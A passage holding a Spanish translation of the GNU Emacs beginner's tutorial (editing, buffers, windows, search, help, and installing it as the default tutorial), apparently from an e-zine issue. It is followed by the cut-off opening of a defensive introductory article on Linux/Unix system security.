Es decir, CONTROL-X seguido del digito 1. C-x 1 expande la ventana donde se
encuentra el cursor, para ocupar la pantalla completa. Quita las demas
ventanas.

>> Pon el cursor en esta linea y haz C-u 0 C-l

>> Haz C-h k C-f
   Observa como la ventana original se achica, dando lugar a otra mas, la cual
   contiene informacion sobre el comando CONTROL-f

>> Usa C-x 1 para hacer desaparecer esa ventana


* INSERTANDO Y BORRANDO
------------------------

Para insertar texto, solo escribe el texto. Caracteres que son visibles, 
como 5, K, $, etc. son considerados como texto por Emacs, y son insertados
inmediatamente. Presiona la tecla <Return> para insertar un caracter
Nueva-Linea.

Se puede borrar el ultimo caracter escrito presionando la tecla <Delete>,
la cual es una tecla en el teclado llamada a veces "Del". En muchos casos,
la tecla <Backspace> sirve como <Delete>, pero no siempre.

La tecla <Delete> borra el caracter justo antes del cursor en ciertos
sistemas; en otros borra el caracter justo despues.

>> Escribe algunos caracteres ahora, y borralos presionando <Delete> o
   <Backspace>, el que de el resultado deseado. No te preocupes por
   cambiar este archivo. Si este tutorial esta definido como el default,
   esto no alterara el archivo original. Esto es tu copia personal.

Cuando una linea de texto es demasiado grande para caber en la pantalla,
esta linea sera continuada en una segunda linea. Un simbolo de 
continuacion, el backslash ("\"), indica que la linea ha sido continuada.

>> Inserta texto hasta llegar al margen derecho de la pantalla. Sigue
   agregando texto y veras el simbolo de continuacion.

>> Usa <Delete> o <Backspace> para borrar la linea hasta que quepa en una
   sola linea. El simbolo de continuacion desaparece.

Se puede borrar el caracter Nueva-Linea como cualquier otro caracter. Si
se borra el caracter Nueva-Linea que se encuentra entre dos lineas, estas
dos lineas seran unidas como una sola; si la linea formada es demasiado
larga para caber en la pantalla, aparecera el simbolo de continuacion.

>> Mueve el cursor a donde comienza una linea. Presiona <Backspace> (o
   <Delete> tal vez). Esto une esta linea con la anterior.

>> Presiona <Return> para reinsertar el caracter Nueva Linea que fue
   borrado.

Recuerda que la mayoria de los comandos en Emacs aceptan argumentos
numericos. Lo mismo sucede con caracteres de texto. Asi se pueden repetir
caracteres varias veces.

>> Ahora presiona C-u 8 *
   Esto insertara el caracter "*" 8 veces.

Este es un resumen de comandos de borrado y eliminacion:

	<Delete>	eliminar el caracter justo antes del cursor
			(en las PC es <Backspace>)
	C-d		eliminar el caracter justo despues del cursor
	
	M-<Delete>	eliminar la palabra justo antes del cursor
	M-d		eliminar la palabra justo despues del cursor

	C-k		eliminar desde la posicion del cursor hasta el
			final de la linea
 	M-k		eliminar desde la posicion del cursor hasta el
			final de la oracion indicada por el cursor

Notese que <Delete> (o Backspace, como ya explicamos) y C-d versus 
M-<Delete> y M-d tienen el mismo paralelismo que C-f y M-f. C-k y M-k
funcionan de manera parecida a C-e y M-e.

Cuando se borra mas de un caracter a la vez, Emacs guarda ese texto en
memoria para que pueda extraerse de nuevo. La extraccion de texto
eliminado se conoce como "yanking". Se puede extraer el texto eliminado en
el mismo lugar donde fue eliminado, o en cualquier otro lugar en el texto.
Se puede extraer el texto repetidamente, para hacer copias multiples de
el. El comando es C-y.

La diferencia entre entre "borrar" y "eliminar" es que el texto eliminado
se puede volver a extraer, y el testo borrado no. En general, comandos que
quitan cantidades grandes de texto, guardan ese texto por seguridad.
Comandos que quitan cantidades menores de texto, no lo guardan.

>> Mueve el cursor al principio de una linea que no esta vacia
   Presiona C-k para eliminar el texto en esa linea.
>> Presiona C-k una vez mas. Esto eliminara el caracter Nueva-Linea de esa
   misma linea

Ver que un C-k elimina el texto en la linea, un segundo C-k elimina la
linea en si, haciendo que las demas lineas suban. C-k utiliza un 
argumento numerico de manera especial: elimina ese numero de lineas y su
contenido tambien. Es decir, C-u 2 C-k eliminaria 2 lineas consu
respectivo caracter Nueva-Linea; presionando C-k dos veces no haria eso.

Para extraer el texto eliminado mas recientemente, y ponerlo donde se
encuentra el cursor, presionar C-y.

>> Pruebalo. Presiona C-y

Cuando varias lineas son eliminadas con C-k, un solo C-y extraera todas
las lineas.

>> Presiona C-k varias veces

Ahora, para recuperar el texto:

>> Presiona C-y. Ahora mueve el cursor unas cuantas lineas para abajo, y
   presiona C-y nuevamente. Esto demuestra que se puede copiar texto y
   empastarlo en otra parte.

El comando C-y extrae la ultima eliminacion hecha. Pero eliminaciones
previas no estan perdidas. Repitiendo el comando M-y nos presenta texto
que eliminamos previamente. Repitiendo este comando suficientemente,
llegaremos de nuevo al texto que eliminamos mas recientemente. Es mas
facil de comprender siguiendo este ejemplo:

>> Elimina una lineacon C-k. Mueve el cursor a otra linea y eliminala
   tambien.
   Presiona C-y para extraer la segunda linea que eliminamos.
   presiona M-y para ver la primera linea que eliminamos, y asi
   sucesivamente.
   Es posible darle argumentos positivos y negativos al comando M-y.


* DESHACER
-----------

Si se hace una modificacion al texto, pero al final decides que fue un
error, se puede cancelar esa modificacion con el comando deshacer, C-x u.

Normalmente, C-x u deshace los cambios hechos por un solo comando, el mas
reciente. Si se repite C-x u varias veces seguidas, cada repeticion
deshace el comando previo.

Pero hay dos excepciones: los comandos que no cambian el texto no cuentan
(esto incluye los movimientos de cursor y de pantalla), y los caracteres 
insertados en el texto se manejan en grupos de 20 (para reducir el
numero de C-x u que hay que hacerse para eliminar texto insertado).

>> Elimina esta linea con C-k. El comando C-x u lo volvera a poner.

C-_ es otra forma del comando C-x u, pero es mas facil de escribir
repetidamente. La desventaja es que no todos los teclados presentan son
claros en como escribirlo. En algunos teclados puede escribirse C-- o C-/.

El argumento numerico para C-_ o C-x u sirve para repetir el comando.


* ARCHIVOS
-----------

Para hacer permanentes los cambios que hagamos en el texto, debemos
grabarlo en un archivo. Los cambios se graban en un archivo
"abriendo" el archivo ( o "encontrando" o "visitando" el archivo).

Abrir un archivo significa que veremos el contenido del archivo, dentro de
Emacs. Al abrir el archivo, Emacs no grabara permanentemente ningun cambio
hecho para evitar que se modifique el contenido del archivo si nosotros no
lo queremos asi, a menos que nosotros mismos queramos guardar esos
cambios. Y aun cuando grabemos los cambios hechos a un archivo, Emacs
grabara el archivo original con un nombre diferente, en caso de que nos
arrepintieramos de haber modificado el archivo.

Si ves abajo en la pantalla veras una linea que comienza y termina con
guiones, y empieza con algo asi como "--:-- TUTORIAL". Esta parte de la
pantalla normalmente indica el nombre del archivo que hayamos abierto. En
este momento, estas visitando el archivo "TUTORIAL" que es la copia
personal del documento original. El nombre del archivo abierto siempre
aparecera en este lugar.

Los comandos para encontrar y guardar archivos son diferentes a los demas
comandos que has aprendido, en que estan formados por dos caracteres.
Ambos comienzan con el caracter Control-x. Existe una serie completa de
comandos que comienzan con Control-x; muchos de ellos tienen que ver con
archivos, buffers, y cosas por el estilo. Estos comandos son de dos, tres,
o cuatro caracteres de longitud.

Otra cosa acerca del comando para abrir un archivo es que hay que escribir
el nombre del archivo que queremos. En este caso, decimos que el comando
"lee un argumento de la terminal" (el argumento es el nombre del archivo).
Al escribir el comando

	C-x C-f

Emacs nos preguntara el nombre del archivo. Este nombre aparecera en la
parte inferior de la pantalla. Esta parte inferior se llama minibuffer
cuando es usada de esta manera. Pueden usarse comaandos de edicion
ordinarios de Emacs para editar el nombre del archivo.

Cuando estemos escribiendo el nombre del archivo (o cualquier otra cosa
dentro del minibuffer), se puede cancelar el comando con C-g.

>> Presiona C-x C-f, despues C-g. Esto cancela el minibuffer y tambien el
   comando C-x C-f.

Cuando has escrito el nombre del archivo, presiona <Return> y el comando
C-x C-f abrira el archivo. El minibufferr desaparece inmediatamente
despues.

El contenido del archivo aparecera en pantalla, y podremos editarlo. Para
guardar nuestros cambios, utilizamos el comando 

C-x C-s  Guarda los cambios

Esto copia el texto que estemos viendo, a nuestro archivo. Al hacer esto,
Emacs hace una copia de respaldo del archivo original llamada de la misma
forma, pero con el caracter "~" agregado al final.

Al guardarse los cambios, Emacs presenta el nombre del archivo modificado.
Es conveniente guardar los cambios con frecuencia, para evitar perder
demasiado en caso de que el sistema se vuelva inestable y caiga.

>> Presiona C-x C-s, para guardar la copia de tu TUTORIAL
   Veremos las palabras "Wrote ...TUTORIAL" (TUTORIAL ...escrito) al pie
   de la pantalla.

NOTA: En ciertos sistemas, presionando C-x C-s congelara la pantalla y no
veremos ningun mensaje de Emacs. Esto indica una caracteristica del  
sistema operativo, llamada "control de procesos", esta interceptando C-s y
no le es permitido el acceso a Emacs. para descongelar la pantalla, usa
C-q. lee la seccion "Spontaneus Entry to Incremental Search" (Acceso
Espontaneo a Busqueda or Incrementos) en el manual de Emacs para ver como
dar tratamiento a este problema.

Puedes abrir un archivo existente, para verlo o editarlo. Se puede tambien
abrir un archivo inexistente. De esta manera se pueden crear archivos
nuevos: Abre el archivo, el cual estara vacio, y despues introducirle
texto. Al guardar el archivo, Emacs creara ese archivo junto con el texto
que le hayamos introducido. De ahi en adelante, estaras editando un
archivo existente.


* BUFFERS
----------

Si abres un segundo archivo con C-x C-f, el otro que ya tenias abierto
sigue dentro de Emacs. Se puede pasar de un archivo a otro usando el
comando C-x -C-f.

>> Crea un archivo llamado "compadre" con el comando C-x C-f compadre
   <Return>. Inserta algo de texto, y guardalo usando C-x C-s. Despues
   regresa a este tutorial con C-x C-f TUTORIAL <Return>.

Emacs guarda el texto de cada archivo en lo que se conoce como "buffer".
Al abrir un nuevo archivo, creamos un nuevo buffer. Para ver la lista de
buffers que tenemos un un instante, usamos este comando:

	C-x C-b   Lista de Buffers

>> Prueba ahora C-x C-b

Observa como cada buffer tiene un nombre, y puede tambien tener el nombre
del archivo que contiene esos datos. Algunos buffers no corresponden a
archivos. Por ejemplo, el buffer llamado *Buffer List* no esta asociado a
ningun archivo. Es el buffer que contiene la lista de buffers creada
cuando hacemos C-x C-b. Cualquier texto que se vea en una ventana de Emacs
es parte de algun buffer.

>> Presiona C-x 1 para cerrar la lista de buffers.

Si se hacen cambios a algun archivo, despues se abre otro archivo, esto no
guarda automaticamente el primer archivo. Los cambios estaran en su
buffer, dentro de Emacs. La creacion o edicion del segundo archivo no
tiene efecto alguno sobre el buffer del primer archivo. Esto es util, pero
tambien significa que necesitamos una manera conveniente de guardar el
contenido del buffer del primer archivo. Seria molesto tener que regresar
al primer archivo con C-x C-f y despues guardarlo con C-x C-s. Asi que
tenemos

	C-x s	  Guardar buffers determinados

C-x s te preguntara acerca de cada buffer que contenga cambios que no han
sido guardados. Te pregunta, por cada buffer, si debera guardarlo.

>> Inserta una linea de texto, despues usa C-x s
   Emacs preguntara si debera guardar el buffer llamado TUTORIAL
   Responde si (yes) a la pregunta presionando "y".


* EXTENDIENDO LA LISTA DE COMANDOS
-----------------------------------

Hay muchos mas comandos en Emacs que podrian ser asociados a todos los
caracteres Control y Meta. El comando de eXtension es usado para esto,
para aumentar el numero de comandos que pueden activarse con los diversos
caracteres. Este comando viene en dos formas:

	C-x	eXtension de Caracter. Seguido de un caracter.
	M-x	eXtension de noMbre. Seguido del nombre

A continuacion estan ciertos comandos que son utiles, pero son menos
usados que los que ya has aprendido. Ya vimos dos de ellos: los comandos
de archivo C-x C-f para abrir un archivo, y C-x C-s para guardarlo. otro
ejemplo es el comando usado para terminar la sesion Emacs, C-x C-c (No hay
que preocuparse de perder los cambios hechos al archivo; Emacs preguntara
si se desea guardar los cambios o no, antes de cerrarse).

C-z es el comando que permite salirse de Emacs *temporalmente*--para
despues volver a entrar a la misma sesion.

En los sistemas que lo permitan, C-z "suspende" Emacs; esto es, retorna a
la shell, sin terminar Emacs. En las shells mas comunes, el comando fg, 
o `%emacs' (sin comillas) nos regresara a Emacs.

En sistemas que no tengan soporte para suspension, C-z creara una subshell
dentro del mismo Emacs, para poder correr otros programas y despues
regresar a Emacs; pero en realidad nunca sale de Emacs. En este caso, el
comando `exit' cerrrrara la subshell y nos regresara a Emacs.

Usar C-x C-c muchas veces es util solamente para cuando queramos salir
de nuestra shell. Tambien es la forma correcta de salir de un Emacs
invocado dentro de algun otro programa, puesto que dicho programa puede no
saber que hacer cuando Emacs es suspendido. En circunstancias ordinarias,
es util tener Emacs suspendido con C-z, en lugar de salir de el.

Hay muchos comandos de tipo C-x. Esta es la lista de los que hemos
aprendido:

	C-x C-f		Abrir un archivo
	C-x C-s		Guardar un archivo
	C-x C-b		Lista de buffers
	C-x C-c		Salir de Emacs
	C-x u		Deshacer

Comandos de extension de nombre son comandos que son utilizados menos
todavia, o comandos que solo se usan en cierto modo. Un ejemplo es el
comando replace-string, que reemplaza cierto texto con otro texto, a nivel
global. Al presionar M-x, Emacs presentara la M-x en la parte inferior de
la pantalla, y se debemos escribir el nombre del comando; en este caso
"replace-string". Solo escribe "repl s<TAB>" y Emacs completara el nombre
del comando, donde <TAB> es la tecla Tab. Presiona <Return>.

El comando replace-string requiere dos argumentos--el texto a reemplazar, 
y el texto con el que se reemplazara. Despues de escribir cada argumento,
presionar <Return>.

>> Mueve el cursor a la linea vacia dos lineas debajo de esta.
   Presiona M-x repl s<Return>cambiada<Return>alterada<Return>

   Nota como esta linea ha sido cambiada: haz reemplazado la palabra
   c-a-m-b-i-a-d-a con "alterada" donde quiera que fue encontrada, a
   partir de la posicion inicial del cursor.


* GUARDADO AUTOMATICO
----------------------

Si se hacen cambios a un archivo, pero no han sido guardados, podrian
perderse si el sistema cae, por alguna razon. Para protegernos de esto,
Emacs periodicamente guarda los archivos que estemos editando a archivos
de "guardado automatico". Cada archivo de guardado automatico tiene un #
al principio y al final de su nombre; por ejemplo, si estamos editando el
archivo "hola.c", su archivo de guardado automatico es "#hola.c#". Cuando
guardemos nuestro archivo de la manera normal, con C-x C-s, Emacs borrara
su archivo de guardado automatico.

Si el sistema cae, podras recuperar el archivo abriendo el archivo
normalmente (el original, no el de guardado automatico) y despues
presionando M-x recover file<Return>. Cuando Emacs pida confirmacion,
escribe yes<return> para segur adelante, y recuperar el archivo con los
datos perdidos.


* AREA DE COMANDOS
-------------------

Si escribimos los comandos lentamente, Emacs los presentara en la parte
inferior de la pantalla, el area de comandos (echo area). Esta area se
encuentra en la ultima linea de la pantalla.


* LINEA DE MODO
---------------------

El area directamente encima de el area de comandos se conoce como linea de
modo. Esta linea dice algo asi como:

--**-Emacs: TUTORIAL		(Fundamental)--L670--58%------------------

Esta linea proporciona informacion util acerca de el estado de Emacs y el
texto que estemos editando.

Antes que nada, esta el nombre del archivo. En este caso el nombre es
TUTORIAL.  -NN%- indica la posicion del cursor dentro del texto. Significa
que NN por ciento del texto esta arriba de la pantalla. Si tuvieramos la  
primera pagina del texto en la pantalla, diria -Top- en lugar de -00%-. Si
tuvieramos la ultima pagina del texto en nuestra pantalla, diria -Bot-. Si
estas viendo un texto tan chico que cabe completamente en una pantalla,
la linea de modo diria -All-.

Los asteriscos al principio indican que se han hecho cambios al texto.
Justo al abrir o guardar un archivo, esta parte de la linea no muestra
asteriscos, solo guiones.

La parte de la linea de modo que se encuentra entre parentesis dice
en que modo de edicion nos encontramos. La modo default es el modo
Fundamental. Es el que estamos usando ahora, y es un ejemplo de "modo
principal".

Emacs tiene varios modos principales. Algunas de ellas sirven para
editar lenguajes diferentes y/o tipos de texto, como modo Lisp, modo
Texto, etc. En cada momento, solo puede estar activo un modo principal,
y su nombre estara donde "Fundamental" esta ahora.

Cada modo principal hace que ciertos comandos actuen de manera
diferente. Por ejemplo, hay comandos para generar comentarios dentro de un
programa, y como cada lenguaje de programacion tiene una idea diferente de
lo que es un comentario, cada modo principal tiene que insertar
comentarios de diferente forma. Cada modo principal es el nombre de
un comando de extension, asi es como podemos cambiar de modo. Por
ejemplo, M-x fundamental-mode es el comando para cambiar a modo
Fundamental.

Para editar texto en algun lenguaje humano, como este documento, seria
conveniente el modo de Texto.

>> Escribe M-x text-mode<Return>

No te preocupes, nungun comando que hayas aprendido cambia de manera
apreciable. Pero se puede observar que M-f y M-b ahora tratan apostrofes
como partes de las palabras. Antes, en modo Fundamental, M-f y M-b
trataban apostrofes como separadores de palabras.

Modos principales usualmente hacen cambios sutiles como ese: la mayoria de
los comandos hacen "el mismo trabajo" en cada modo principal, pero
trabajan ligeramente diferente.

Para ver informacion acerca del modo activo en determinado momento, usa
C-h m.

>> Usa C-u C-v una o varias veces para subir esta linea hasta la parte
   superior de la pantalla
>> Escribe C-h m, para ver una descripcion del modo Texto
>> Usa C-x 1, para quitar la pantalla informativa

Los modos principales se llaman asi porque tambien existen modos
secundarios. Los modos secundarios no son alternativas a los modos
principales, sino que son ligeras modificaciones a los mismos. Cada modo
secundario puede ser habilitado o deshabilitado independientemente de los
demas modos secundarios, e independientemente de tu modo principal. Asi
que pueden no usarse los modos secundarios, usar un solo modo secundario,
o usar cualquier combinacion de ellos.

Un modo secundario que es muy util, en especial al editarse texto en algun
idioma, es el modo Auto Fill. Cuando este modo esta activado, Emacs rompe
la linea entre dos palabras automaticamente cada vez que escribamos una
linea que demasiado larga.

Se puede activar Auto Fill con el comando M-x auto-fill-mode<Return>.
Cuando este modo este activado, se puede desactivar con el mismo comando
M-x auto-fill-mode<Return>. Si esta activado, el comando lo desactiva; si
esta desactivado, el comando lo activa.

>> Escribe M-x auto-fill-mode<Return> ahora. Escribe algo como "asdf "
   repetidamente hasta que la linea se divida en dos lineas. cada palabra
   debe estar separada por un espacio, porque Emacs solo rompe las lineas
   en donde haya espacios.

El margen generalmente es de 70 caracteres, pero se puede cambiar con el
comando C-x f. El margen se especifica como un argumento numerico.

>> Usa C-x f con un argumento de 20 (C-u 2 0 C-x f).
   Despues escribe algo y podra observarse como Emacs rompera las lineas
   mayores de 20 caracteres. Regresa el margen a 70 usando C-x f
   nuevamente.

Si haces cambios a la mitad de un parrafo, el modo Auto Fill no funcionara.
En este caso hay que usar el comando M-q, con el cursor dentro de ese
parrafo.

* BUSQUEDA
-----------

Emacs puede buscar hileras de caracteres (es decir, palabras o grupos de
palabras) dentro de un documento, hacia abajo o hacia arriba dentro del
mismo. Buscar texto es un comando que controla el cursor; mueve el cursor
al siguiente lugar donde aparezca ese texto.

Este comando es diferente al de muchos otros editores, en que trabaja en
"incrementos". Esto significa que la busqueda ocurre mientras escribimos
lo que buscamos.

El comando para iniciar la busqueda es C-s para una busqueda hacia
adelante, o C-r para una busqueda hacia atras. PERO ESPERA! no los pruebes
todavia.

Cuando escribas C-s notaras que abajo, en el area de comandos, aparece
"I-search". Esto indica que Emacs esta preparado para iniciar una busqueda
de texto en modo de incrementos, esperando que escribas el texto a buscar.
<Return> cancelara la busqueda en cualquier momento.

>> Ahora, escribe C-s para comenzar una busqueda. Lentamente, una letra a
   la vez, escribe la palabra "cursor", una sola vez.
>> Usa C-s nuevamente, para buscar esa palabra otra vez.
>> Ahora presiona <Delete> (<Backspace> si tienes una PC) y observa el
   movimiento del cursor.
>> Presiona <Return> para terminar la busqueda.

Viste lo que paso? Emacs, en busqueda incremental, trata de buscar el
texto que se haya escrito hasta el momento. Para ir a la siguiente
incidencia de la palabra 'cursor', usamos C-s de nuevo. Si ya no hay
incidencias de esa palabra Emacs sonara una alarma y nos avisara que la
busqueda esta fallando. C-g terminara la busqueda y regresaremos a donde
comenzamos.

NOTA: En ciertos sistemas, escribiendo C-s congelara la pantalla y Emacs
no dira mas. Esto indicaria que una caracteristica del sistema operativo
llamada "control de flujo" esta interceptando el C-s y no le permite a
Emacs recibirlo. Para descongelar la pantalla habra que usar C-q. En este
caso es conveniente leer la seccion "Spontaneous Entry to Incremental
Search" (Acceso espontaneo a busqueda en incrementos) en el manual de
Emacs, para obtener consejos en como trabajar con esta caracteristica.

Si estas en medio de una busqueda incremental y oprimes <Delete> (o
<Backspace>), el ultimo caracter presionado sera eliminado y la busqueda
ira para atras. Por ejemplo, suponiendo que hayas presionado la "c", para
buscar la primera incidencia de "c". Ahora, si presionamos la "u", el
cursor ira a la primera incidencia de "cu". Oprime <Backspace>. Esto borra
la "u", asi que el cursor regresara a la primera incidencia de "c",
nuevamente.

Si estas en medio de una busqueda y escribes un caracter de Control o
Meta (con excepciones--los que tienen significado especial en una
busqueda, como C-s y C-r), la busqueda es cancelada.

C-s comienza una busqueda de la siguiente incidencia de cualquier texto
que le siga a la posicion actual del cursor. Para hacer una busqueda en
reversa se usa C-r. Todo lo que se dijo sobre C-s es aplicable a C-r,
excepto que la busqueda es en direccion opuesta.


* VENTANAS MULTIPLES
---------------------

Una de las caracteristicas mas utiles de Emacs es que puede desplegar mas
de una ventana a la vez.

>> Mueve el cursor a esta linea y escribe C-u 0 C-l

>> Ahora usa C-x 2 lo que dividira la pantalla en 2 ventanas
   Ambas ventanas contienen este tutorial. la ventana superior contiene el
   cursor.

>> Escribe C-M-V para mover la ventana inferior.
   (Si no tienes una tecla META verdadera, usa ESC C-v)

>> Usa C-x o ("o" de "otra") para mover el cursor a la ventana inferior.

>> Usa C-v y M-v para mover el texto en la pantalla.
   Sigue leyendo las instrucciones en la ventana superior.

>> Escribe C-x o de nuevo para regresar el cursor a la pantalla superior.
   El cursor seguira donde lo dejamos antes de cambiar de ventana.

Puedes seguir usando C-x o para cambiar de ventana. En cada ventana el
cursor conserva su posicion, pero solo la ventana activa muestra el
cursor. Todos los comandos ordinarios son aplicados a la ventana en la que
se encuentra el cursor. Llamamos a esta ventana la "ventana seleccionada".

El comandio C-M-v es muy util cuando estamos editando el texto en una
ventana y usamos el texto en la otra solo como referencia. Puedes
conservar el cursor siempre en el cursor de la ventana donde estas
editando y usar C-M-v para avanzar el texto en la otra ventana
secuencialmente.

C-M-v es un ejemplo de un caracter CONTROL-META. Si tienes una tecla META
verdadera, se puede escribir C-M-v manteniendo presionadas las teclas
Ctrl y Meta (Alt, en las PC) al presionar "v". No importa cual de las
teclas CONTROL o META se presiona primero porque su funcion es modificar
los caracteres que presionamos.

Si no hay una tecla META verdadera, y se usa ESC en su lugar, el orden 
si importa: se presiona la tecla ESC seguida de Ctrl-v; Ctrl-ESC v no
funcionara en este caso. Eso es porque ESC es un caracter en si, no una
tecla modificadora.

>> Escribe C-x 1 para deshacerse de la ventana inferior

(Si escribiste C-x 1 en la ventana inferior, eso se desharia de la ventana
superior. Como diciendo "quedate con una sola ventana, en la que estoy
ahora").

No es necesario tener el contenido de un mismo buffer en ambas ventanas.
Si se usa C-x C-f para abrir un archivo en una ventana, la otra ventana no
cambiara. Se puede abrir un archivo diferente en cada ventana.

He aqui otra manera de hacer que dos ventanas desplieguen dos cosas
diferentes:

>> Escribe C-x 4 C-f seguido del nombre de alguno tus archivos.
   Presiona <Return>. Ve como el archivo se abre en una ventana inferior.
   El cursor ira a la nueva ventana tambien.

>> Usa C-x o para regresar a la ventana superior, y C-x 1 para quitar la
   inferior.


* NIVELES DE EDICION RECURSIVA
-------------------------------

Algunas veces te meteras en lo que se conoce como un "nivel de edicion
recursiva". Esto es indicado por unos corchetes en la linea de modo,
encerrando los parentesis que encierran el nombre del modo principal. por
ejemplo, veras [(Fundamental)] en lugar de (Fundamental).

Para salir del nivel de edicion recursiva, presiona ESC ESC ESC. Eso es
un comando para cancelar multiusos. Tambien se puede usar para eliminar
ventanas adicionales, y para salirse del minibuffer.

>> Usa M-x para entrar al minibuffer; presiona ESC ESC ESC para salir

No se puede usar C-g para salir de un nivel de edicion recursiva. Esto es
porque C-g es usado para cancelar comandos y argumentos DENTRO de el nivel
de edicion recursiva.


* OBTENIENDO MAS AYUDA
-----------------------

En este tutorial hemos tratado de proporcionar suficiente informacion como
para dar un buen comienzo usando Emacs. Hay tanto disponible en Emacs que
seria imposible ponerlo todo aqui. Sin embargo, seria conveniente aprender
pas acerca de Emacs puesto que tiene muchas mas caracteristicas utiles.
Emacs porporciona comandos para leer documentacion sobre comandos de
Emacs. Todos estos comandos de ayuda comienzan con el caracter C-h
(help, en ingles), el cual es llamado "Caracter de Ayuda".

Para obtener cualquier tipo de ayuda, escribe el caracter C-h, y despues
un caracter indicando el tipo de ayuda deseada. Si estas completamente
perdido, escribe C-h ? y Emacs indicara los tipos de ayuda que tiene
disponibles. Si oprimes C-h y decides que despues de todo no quieres
ayuda, presiona C-g para cancelarlo.

(Algunos sistemas tienen alterado el significado de C-h. En realidad esto
no deberia hacerse a nivel global, para todos los usuarios, asi que tienes
derecho a quejarste con el administrador. Por lo pronto, si C-h no
presenta un mensaje de ayuda en la parte de abajo de la pantalla, intenta
presionando F1 o M-x help <Return>.)

La ayuda mas basica la proporciona C-h c. Escribe C-h seguido del caracter
c, y un caracter o secuencia de comando; Emacs despliegara una corta
descripcion del comando.

>> Escribe C-h c Control-p
   El mensaje sera algo como

	C-p runs the command previous-line
	(C-p corre el comando linea-previa)

Esto da el "nombre de la funcion". Los nombres de las funciones de usan
principalmente para personalizar y extender a Emacs. Pero como los nombres
de las funciones son elegidos para indicar lo que hace un comando, tambien
sirven como documentacion muy corta--suficiente para recordar comandos ya
aprendidos.

Comandos de caracteres multiples como C-x C-s y (si no se tiene una tecla
META o EDIT o ALT) <ESC>v tambien son permitidos despues de C-h c.

>> Escribe C-h k Control-p

Esto despliega toda la documentacion acerca de la funcion,   asi como su
nombre, en una ventana de Emacs. Al terminar de leer dicha documentacion,
se puede cerrar la ventana con C-x 1. Pero no es necesario hacerlo
inmediatamente. Se puede editar nuestro texto, y tener esa documentacion
de ayuda como referencia, y despues presionar C-x1.

Estas son otras opciones utiles de C-h:

    C-h f	Describe una funcion. Hay que escribir el nombre de la
		funcion

>> Prueba escribiendo C-h f previous-line<Return>.
   Esto despliega toda informacion disponible sobre la funcion que
   implenenta el comando C-p.

   C-h a	Apropos de comandos. Escribe una palabra y Emacs pondra
                una lista de todos los comando que usan esa lista. Todos
                estos comandos pueden invocarse con M-x. Para algunos
		comandos, el Apropos de comandos tambien presentara una
		secuencia de uno o dos caracteres que invoca el mismo
		comando.

>> Escribe C-h a file<Return>.

Esto despliega en otra ventana una lista de todos los comandos M-x que
contengan "file" (archivo) en sus nombres. Se veran comandos de caracteres
como C-x C-f enlistados junto a los correspondientes comandos de nombre
como find-file (encontrar archivo).

>> Presiona C-M-v para mover el contenido de la pantalla de ayuda. hazlo
varias veces.

>> Presiona C-x 1 para deshacerse de la ventana de ayuda


* CONCLUSION
-------------

Recuerda, para salir de Emacs permanente se usa C-x C-c. Para salir
temporalmente a la shell, para poder regresar a Emacs despues, se usa C-z.

Este tutorial deberia ser comprensible para cualquier nuevo usuario, asi
que si hay algo que no parece muy claro, no te eches la culpa - quejate!


* HACIENDO COPIAS DE ESTE DOCUMENTO
------------------------------------

Este tutorial es descendiente de la linea de tutoriales de Emacs iniciada
por Stuart Cracraft para el Emacs original.

Derechos Reservados (c) 1985, 1999 Free Software Foundation

   Se da el permiso a cualquier persona para hacer o distribuir copias de
   este documento, en su forma original, en cualquier medio, con la
   condicion de que la nota de derechos reservados y la nota de permisos
   sean preservados, y que el distribuidor otorgue a quienes lo reciban el
   derecho de redistribuirlo como se menciona aqui.

   Se da el permiso de distribuir versiones modificadas de este documento,
   o porciones del mismo, bajo las condiciones antes mencionadas, con la
   condicion de que mencionen claramente quien las altero.

Las condiciones para copiar el programa Emacs en si son mas complejas,
pero guiadas por el mismo espiritu. Leer el documento COPYING incluido con
tu paquete Emacs para mayor detalles, y dale copias de Emacs y este 
tutorial a tus conocidos. Ayuda en la batalla contra el obstaculismo en
software utilizando, escribiendo, y compartiendo software gratis!


* HACIENDO ESTE TUTORIAL EL TUTORIAL DEFAULT
---------------------------------------------

Para evitar modificaciones accidentales a este documento, es conveniente
hacerlo el tutorial default.

Para que este tutorial en Espa~ol sea el default:

$ su
Password: XXXXXXXX
# mv /usr/share/emacs/XY.Z/etc/TUTORIAL \
> /usr/share/emacs/XY.Z/etc/TUTORIAL.INGLES
# cp utilidades.emacs.txt /usr/share/emacs/XY.Z/etc/TUTORIAL

Se requiere Donde XXXXXXXX es la clave de acceso a root.
Mientras que XY.Z es la version de emacs. Por ejemplo, 20.2.

Esto hace una copia de respaldo del tutorial original, en Ingles, llamada
TUTORIAL.INGLES; en su lugar ponemos el tutorial en Espa~ol.


* NOTA FINAL
-------------

Este tutorial es una version escrita en Espa~ol en Junio/1999 por Nahual,
de Raza-Mexicana . Esta basado en el tutorial incluido con GNU Emacs
20.2.1, y es practicamente identico al mismo en cuanto al contenido
tecnico.

Las pocas modificaciones o adiciones que se hicieron fueron unicamente para
hacer el texto aun mas facil de comprender.

Este documento es mantenido por Nahual <nahual@sdf.lonestar.org>


=============================================================================
--------------------------------------------------------------------------05-
-----( Seguridad en Linux / Unix )-------------------------------------RM-10]
-----[ Satan ]-----------------------------------------[satanas@hushmail.com]


Hablar de seguridad en unix es un tema que oimos a diario, decir que tan
confiable es mi sistema, que tan segura esta mi empresa no es depensar en
una maquina que esta en una oficina, bajo candado, y nadie puede accesarla,
ni verla y mucho menos tocarla. Es ir mas haya de nuestra sapiensa, es el
decir que hago para que mi sistema este seguro.

Bueno pues empezaremos definiendo el termino "Seguridad".

Que es Seguridad?
 - Es un termino relativo
 - Consistencia
 - Privacidad
 - Seguridad es un estamo emocional
 - Proteccion
 - Confiabilidad para la empresa.

Como veran la seguridad es un termino que se da segun las necesidades de la
persona, al empresa, el grupo, etc.

Para mi la seguridad la podria definir con la siguiete ecuacion:

Seguridad= 1/Conveniencia "Nuestro sistema es tan seguro y eficaz dependiendo
de que tan fuerte, dedicado e inteligente sea su administrador XDD".

Donde Comienza la seguridad de mi sistema?
La seguridad comienza antes de instalar nuestro equipo, esa seguridad es:
1- La seguridad de los datos.
2- Que requerimientos necesitan nuestros usuarios.
3- La seguridad fisica del servidor (como su ubicacion, su ventilacion adecuada, etc).

Pasando ya en materia algo que nunca debemos olvidar los administradores es
un buen Man!! recuerde que es el mejor amigo del Administrador XDD

Ahora comenzaremos con la seguridad elemental de nuestro sistema, recuerden
que es lo primero que quiere robar el cracker...asi es lo siguiente:
/etc/passwd
/etc/shadow
/etc/grup
Recordando que para mayor seguridad nuestro archivo de passwords debe estar
